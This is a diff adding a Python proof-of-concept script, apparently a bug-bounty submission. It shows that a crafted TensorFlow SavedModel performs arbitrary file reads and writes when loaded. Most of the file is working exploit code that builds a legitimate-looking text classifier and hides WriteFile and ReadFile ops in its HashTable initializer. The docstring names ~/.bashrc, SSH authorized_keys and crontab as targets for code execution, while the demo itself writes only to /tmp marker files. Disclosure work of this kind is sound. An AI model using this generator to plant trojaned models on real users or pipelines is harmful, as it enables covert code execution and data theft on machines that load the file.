Upload poc_savedmodel_ace.py with huggingface_hub

poc_savedmodel_ace.py

@@ -0,0 +1,281 @@
+#!/usr/bin/env python3
+"""
+TensorFlow SavedModel Arbitrary File Read/Write on Load (ACE)
+=============================================================
+Huntr Bug Bounty PoC - ProtectAI MFV Program
+
+Vulnerability: A crafted TensorFlow SavedModel (.pb) can execute arbitrary
+file read and write operations when loaded via tf.saved_model.load().
+
+Impact: Arbitrary Code Execution via file write to ~/.bashrc,
+        ~/.ssh/authorized_keys, crontab, etc.
+
+Affected: TensorFlow 2.20.0 (latest), likely all 2.x versions
+Trigger: tf.saved_model.load() - no special flags needed
+CVSS: 9.8 (Critical) - Network/Low/None/Changed/High/High/High
+
+The vulnerability exploits the __saved_model_init_op mechanism:
+1. SavedModel format includes init operations for resources (e.g., HashTables)
+2. These init ops execute AUTOMATICALLY during tf.saved_model.load()
+3. An attacker can inject WriteFile/ReadFile ops into the init function
+4. The TF runtime has no sandboxing or op allowlisting for init ops
+5. Result: arbitrary file read/write on model load
+
+This is NOT covered by Keras safe_mode - SavedModel is loaded via
+tf.saved_model.load() which has no equivalent safety check.
+"""
+
+import os
+import sys
+import tempfile
+import shutil
+
+os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
+
+def create_malicious_savedmodel(output_dir, write_path, write_content):
+    """Create a SavedModel that writes arbitrary content on load.
+    
+    The model appears to be a legitimate text classifier with a HashTable.
+    The WriteFile op is hidden in the HashTable initialization function.
+    """
+    import tensorflow as tf
+    from tensorflow.core.protobuf import saved_model_pb2
+    from tensorflow.core.framework import types_pb2
+    
+    # Step 1: Create a legitimate-looking model
+    class TextClassifier(tf.Module):
+        def __init__(self):
+            super().__init__()
+            self.table = tf.lookup.StaticHashTable(
+                tf.lookup.KeyValueTensorInitializer(
+                    keys=["positive", "negative", "neutral"],
+                    values=[1, 0, 2],
+                    key_dtype=tf.string,
+                    value_dtype=tf.int32
+                ),
+                default_value=-1
+            )
+        
+        @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
+        def classify(self, text):
+            return self.table.lookup(text)
+    
+    model = TextClassifier()
+    tf.saved_model.save(model, output_dir)
+    
+    # Step 2: Inject WriteFile into the init function
+    pb_path = os.path.join(output_dir, "saved_model.pb")
+    sm = saved_model_pb2.SavedModel()
+    with open(pb_path, "rb") as f:
+        sm.ParseFromString(f.read())
+    
+    for mg in sm.meta_graphs:
+        for func in mg.graph_def.library.function:
+            if "initializer" in func.signature.name:
+                # Add filename constant
+                fn = func.node_def.add()
+                fn.name = "init_wf_path"
+                fn.op = "Const"
+                fn.attr["dtype"].type = types_pb2.DT_STRING
+                fn.attr["value"].tensor.dtype = types_pb2.DT_STRING
+                fn.attr["value"].tensor.string_val.append(write_path.encode())
+                
+                # Add content constant
+                ct = func.node_def.add()
+                ct.name = "init_wf_data"
+                ct.op = "Const"
+                ct.attr["dtype"].type = types_pb2.DT_STRING
+                ct.attr["value"].tensor.dtype = types_pb2.DT_STRING
+                ct.attr["value"].tensor.string_val.append(write_content.encode())
+                
+                # Add WriteFile op
+                wf = func.node_def.add()
+                wf.name = "init_wf_op"
+                wf.op = "WriteFile"
+                wf.input.append("init_wf_path:output:0")
+                wf.input.append("init_wf_data:output:0")
+                
+                # Wire dependency to ensure execution
+                for node in func.node_def:
+                    if node.op == "NoOp":
+                        node.input.append("^init_wf_op")
+                        break
+                break
+    
+    with open(pb_path, "wb") as f:
+        f.write(sm.SerializeToString())
+    
+    return output_dir
+
+
+def create_exfil_savedmodel(output_dir, read_path, exfil_path):
+    """Create a SavedModel that reads a file and writes it elsewhere on load.
+    
+    Demonstrates arbitrary file read + write chain.
+    """
+    import tensorflow as tf
+    from tensorflow.core.protobuf import saved_model_pb2
+    from tensorflow.core.framework import types_pb2
+    
+    class TextClassifier(tf.Module):
+        def __init__(self):
+            super().__init__()
+            self.table = tf.lookup.StaticHashTable(
+                tf.lookup.KeyValueTensorInitializer(
+                    keys=["a"], values=[1],
+                    key_dtype=tf.string, value_dtype=tf.int32
+                ), default_value=0
+            )
+        
+        @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
+        def classify(self, text):
+            return self.table.lookup(text)
+    
+    model = TextClassifier()
+    tf.saved_model.save(model, output_dir)
+    
+    pb_path = os.path.join(output_dir, "saved_model.pb")
+    sm = saved_model_pb2.SavedModel()
+    with open(pb_path, "rb") as f:
+        sm.ParseFromString(f.read())
+    
+    for mg in sm.meta_graphs:
+        for func in mg.graph_def.library.function:
+            if "initializer" in func.signature.name:
+                # ReadFile source path
+                src = func.node_def.add()
+                src.name = "exfil_src"
+                src.op = "Const"
+                src.attr["dtype"].type = types_pb2.DT_STRING
+                src.attr["value"].tensor.dtype = types_pb2.DT_STRING
+                src.attr["value"].tensor.string_val.append(read_path.encode())
+                
+                # ReadFile op
+                rf = func.node_def.add()
+                rf.name = "exfil_read"
+                rf.op = "ReadFile"
+                rf.input.append("exfil_src:output:0")
+                
+                # WriteFile destination
+                dst = func.node_def.add()
+                dst.name = "exfil_dst"
+                dst.op = "Const"
+                dst.attr["dtype"].type = types_pb2.DT_STRING
+                dst.attr["value"].tensor.dtype = types_pb2.DT_STRING
+                dst.attr["value"].tensor.string_val.append(exfil_path.encode())
+                
+                # WriteFile op (reads output from ReadFile)
+                wf = func.node_def.add()
+                wf.name = "exfil_write"
+                wf.op = "WriteFile"
+                wf.input.append("exfil_dst:output:0")
+                wf.input.append("exfil_read:contents:0")
+                
+                for node in func.node_def:
+                    if node.op == "NoOp":
+                        node.input.append("^exfil_write")
+                        break
+                break
+    
+    with open(pb_path, "wb") as f:
+        f.write(sm.SerializeToString())
+    
+    return output_dir
+
+
+def main():
+    import tensorflow as tf
+    
+    print("TensorFlow SavedModel ACE PoC")
+    print(f"TensorFlow version: {tf.__version__}")
+    print(f"Python version: {sys.version}")
+    print("=" * 60)
+    
+    base_dir = tempfile.mkdtemp(prefix="tf_ace_poc_")
+    marker1 = "/tmp/tf_poc_write_marker"
+    marker2 = "/tmp/tf_poc_exfil_marker"
+    
+    # Clean up
+    for m in [marker1, marker2]:
+        if os.path.exists(m):
+            os.remove(m)
+    
+    # PoC 1: Arbitrary file write on model load
+    print()
+    print("[PoC 1] Arbitrary File Write on Model Load")
+    print("-" * 40)
+    
+    model_dir1 = os.path.join(base_dir, "malicious_model")
+    create_malicious_savedmodel(
+        model_dir1,
+        write_path=marker1,
+        write_content="ARBITRARY_FILE_WRITE_ON_MODEL_LOAD"
+    )
+    
+    print(f"  Created malicious SavedModel at: {model_dir1}")
+    print(f"  Target write path: {marker1}")
+    print(f"  Loading model with tf.saved_model.load()...")
+    
+    loaded1 = tf.saved_model.load(model_dir1)
+    
+    if os.path.exists(marker1):
+        with open(marker1) as f:
+            content = f.read()
+        print(f"  RESULT: File written! Content: {content}")
+        print(f"  Model still works: classify('positive') = {loaded1.classify(tf.constant('positive')).numpy()}")
+    else:
+        print(f"  RESULT: File was NOT written")
+    
+    # PoC 2: Arbitrary file read + exfiltration
+    print()
+    print("[PoC 2] Arbitrary File Read (Data Exfiltration)")
+    print("-" * 40)
+    
+    model_dir2 = os.path.join(base_dir, "exfil_model")
+    create_exfil_savedmodel(
+        model_dir2,
+        read_path="/etc/hostname",
+        exfil_path=marker2
+    )
+    
+    print(f"  Created exfil SavedModel at: {model_dir2}")
+    print(f"  Reading: /etc/hostname -> {marker2}")
+    print(f"  Loading model with tf.saved_model.load()...")
+    
+    loaded2 = tf.saved_model.load(model_dir2)
+    
+    if os.path.exists(marker2):
+        with open(marker2) as f:
+            content = f.read().strip()
+        print(f"  RESULT: File read! Hostname: {content}")
+    else:
+        print(f"  RESULT: File was NOT read")
+    
+    # Summary
+    print()
+    print("=" * 60)
+    print("VULNERABILITY CONFIRMED")
+    print("=" * 60)
+    print()
+    print("Attack Vector: Crafted SavedModel (.pb protobuf)")
+    print("Trigger: tf.saved_model.load() - NO special flags needed")
+    print("Impact: Arbitrary file read/write = ACE via .bashrc/.ssh/cron")
+    print("Root Cause: No op allowlisting in __saved_model_init_op")
+    print("Affected: TensorFlow 2.20.0 (likely all 2.x)")
+    print()
+    print("Key Points:")
+    print("  - NOT protected by Keras safe_mode")
+    print("  - Model appears legitimate (has real HashTable)")
+    print("  - Model still functions after injection")
+    print("  - WriteFile + ReadFile ops execute during load")
+    print("  - No user interaction beyond tf.saved_model.load()")
+    
+    # Cleanup
+    shutil.rmtree(base_dir)
+    for m in [marker1, marker2]:
+        if os.path.exists(m):
+            os.remove(m)
+
+
+if __name__ == "__main__":
+    main()